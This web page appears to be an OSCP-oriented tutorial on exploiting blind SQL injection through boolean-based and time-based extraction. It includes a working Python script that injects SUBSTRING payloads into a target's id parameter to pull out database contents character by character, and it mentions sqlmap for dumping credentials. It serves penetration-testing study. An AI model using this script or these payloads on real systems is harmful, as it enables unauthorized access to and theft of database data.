Blind SQL Injection Exploitation
Blind SQL injection extracts data without seeing query results in the response. Boolean-based blind compares response differences between true and false conditions to infer data one character at a time. Time-based blind uses sleep delays when no response difference exists at all. Both are slow manually — sqlmap automates the extraction when allowed.
Boolean-Based Extraction
With a confirmed boolean blind condition, extract data by testing one character at a time using ASCII value comparisons:
4823
612
The larger response for the true condition (version starts with 5) confirms boolean extraction works. Script the extraction to pull the full database version:
import requests, string
TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823 # size of a true condition response
def extract_char(position, query):
for char in string.printable:
payload = f"1 AND SUBSTRING(({query}),{position},1)='{char}'--"
r = requests.get(TARGET, params={'id': payload})
if len(r.content) == TRUE_SIZE:
return char
return None
result = ''
for i in range(1, 20):
char = extract_char(i, 'SELECT version()')
if not char:
break
result += char
print(f'Version so far: {result}')
print(f'Final: {result}')
Time-Based Extraction
When no response size difference exists, use sleep delays to extract data. Each character check either sleeps or does not, based on whether the condition is true:
real 0m3.121s
A 3-second delay confirms the condition is true — the database user starts with root. Use binary search on ASCII values to speed up extraction versus testing each printable character:
real 0m2.098s
Extract Credentials with sqlmap
For full credential dumps from blind injection, sqlmap handles the extraction automatically:
Important
sqlmap is not allowed on OSCP. Use the manual Python extraction script above for exam environments.
References
-
PortSwigger — Blind SQL Injectionportswigger.net/web-security/sql-injection/blind (opens in new tab)
Boolean and time-based extraction methodology
Was this helpful?
Your feedback helps improve this page.